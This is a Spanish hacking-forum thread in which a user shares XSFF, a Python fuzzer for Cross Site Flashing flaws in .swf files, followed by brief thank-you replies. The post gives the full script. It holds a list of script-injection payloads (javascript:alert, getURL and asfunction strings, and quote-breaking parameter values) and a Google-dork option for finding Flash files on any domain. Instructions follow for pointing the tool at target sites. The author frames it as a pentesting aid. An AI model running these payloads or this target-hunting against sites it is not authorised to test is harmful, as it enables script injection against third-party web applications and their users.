XSFF ~ Cross Site Flashing Fuzzer

Iniciado por Dedalo, Agosto 18, 2013, 06:54:37 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Les vengo a presentar esta t00lsita que hice en python, es un pequeño fuzzer de vectores de ataque de Cross Site Flashing... Debido al Cross Site Flashing entré al HoF de Apple y al de Microsoft por segunda vez en fin una pequeña intro...

A los .swf como a los php se les puede mandar variables al estilo get:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

muchas veces cuando ponen un .swf en una página web le envian estas variables para asignarle urls o colores o cosas asi... un pequeño ejemplo de la web de owasp:

Código: php
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>



Ahora yo les voy a mostrar otro ejemplo el básico de JWplayer...

Código: php
jwplayer("myElement").setup({
  file: "myVideo.mp4",
  skin: "bekle"
});


Como ven dice file: myvideo skin: bekle ponerlo en el código fuente de esa manera es igual que ir a:

jwplayer.swf?file=myVideo.mp4&skin=bekle

entonces como funciona la cosa bien fácil existen códigos vulnerables en los .swf también que permiten ejecución de codigo Script en ellos... pero obviamente la pregunta es:

¿Como veo el código fuente?

Hay herramientas que lo desencriptan pero justamente por eso he hecho el pequeño fuzzer la mayoría de Cross Site Flahing ocurren de la misma manera con las mismas variables o alguien ya encontró la vulnerabilidad y ya hay un exploit predeterminado... asi que les dejo el fuzzer para que lo usen ustedes :)

Como es para usar el fuzzer bien fácil:

primero descárguenlo El código:

Código: php
#!usr/bin/python

import sys
import webbrowser

END = "\033[0m"
blue = "\033[0;34m"
red = "\033[1;91m"


payloads = ['#javascript:alert(/XSFF/)','#http://seguridadblanca.in','#getURL(javascript:alert(/XSFF/))','#getURL(http://seguridadblanca.in)','#getURL,javascript:alert(/XSFF/)','#getURL,http://seguridadblanca.in','?javascript:alert(/XSFF/)','?http://seguridadblanca.in','?getURL(javascript:alert(/XSFF/))','?getURL(http://seguridadblanca.in)','?getURL,javascript:alert(/XSFF/)','?getURL,http://seguridadblanca.in','?clickTAG=javascript:alert(/XSFF/)','?clickTag=javascript:alert(/XSFF/)','?clickTag=http://seguridadblanca.in','?clickTAG=http://seguridadblanca.in','?url=javascript:alert(/XSFF/)','?url=http://seguridadblanca.in','?uri=javascript:alert(/XSFF/)','?uri=http://seguridadblanca.in','?URL=javascript:alert(/XSFF/)','?URL=http://seguridadblanca.in','?URI=javascript:alert(/XSFF/)','?URI=http://seguridadblanca.in','?baseurl=asfunction:getURL,javascript:alert(1337)//",','?base=javascript:alert(/XSFF/)','?base=http://seguridadblanca.in','?debug=alert(/XSFF/)','?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(/XSFF/);//','?skinName=asfunction:getURL,javascript:alert(1337)//','?onend=javascript:alert(1337)//','?imageURL=javascript:alert(/XSFF/)','?imageURL=" onerror=prompt(/XSFF/)','?callback=javascript:alert(/XSFF/)','?callback=http://seguridadblanca.in','?page=javascript:alert(/XSFF/)','?page=http://seguridadblanca.in','?buyNowUrl=javacript:alert(/XSFF/)','?id=0\%22))}catch(e){alert(1337)}//']


def helpyeah():
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| \n"
print red + "Hi bro/sis :) Usage is: " + sys.argv[0] + " Option \n \n"
print "Print Options:\n"
print "dorksite - This Option will search for .swf files in the domain"
print "flashsite - Will Fuzz for XSF" + END



def checkoption():

if sys.argv[1].lower() == "dorksite":
dorksite()
elif sys.argv[1].lower() == "flashsite":
xsfyeah()
else:
helpyeah()


def xsfyeah():
uri = raw_input("Input the URL: Ex. http://seguridadblanca.in/vuln.swf\n")
fout = open("xsff.html", "w")
fout.write("<center><h1>Cros Site Flashing Fuzzer</h1> By <a href=\"http://twitter.com/seguridadblanca\">Dedalo</a></center><br />")
for url in payloads:
op = "<a href=\"" + uri + url +"\">" + url + "</a><br />"
fout.write(op)
print blue + "Check xsff.html for clicking fuzz!!"
print "Thanks for using XSFF"
print ""
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| " + END


def dorksite():

domain = raw_input("Input the domain: Ex. seguridadblanca.in\n")
d1 = "site:" + domain + " filetype:swf"
d2 = "site:" + domain + " inurl:player.swf"
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d1)
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d2)


if len(sys.argv) < 2:
helpyeah()
else:
checkoption()


Segundo no necesitan tener nada instalado mas que python... ahora...

En su command van a la carpeta donde está el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y ponen

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta option

¿Cómo encontrar los vulnerable.swf? suelo hacer esta búsqueda:

site:test.com filetype:swf --> en Google.
site:test.com inurl:player.swf --> en Google.
site:test.com inurl:swfupload.swf --> en Google.

luego pues el .swf digamos encontramos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

vamos a nuestra consola y le damos:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta flashsite y luego pegar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Bueno un PoC que encontré buscando con el Cross Site Flashing Fuzzer:




Sobre todo muchas veces los pentesters no prueban Cross Site Flashing en sus clientes, con el fuzzer los ayudo para que aunque sea descarten esta vulnerabilidad como una posibilidad.

Link de Interés:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La demo es con una versión anterior del script ahora he mejorado la herramienta o bueno le he aumentado una pequeña opción pones dorksite y automáticamente busca dorks de .swf para ver si encuentran alguno por google.


Post Original: Click No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos,
Dedalo!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy buen post dedalo!
muchisimas gracias y gran trabajo!

Saludos!


Muy buen post bro me gusto mucho salu2
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

uuuuh!!!! curiosamente estaba buscando algo parecido...me has ahorrado tiempo...lo pruebo hoy sin falta!!!! gracias!!!!
A POR ELLOS!!!!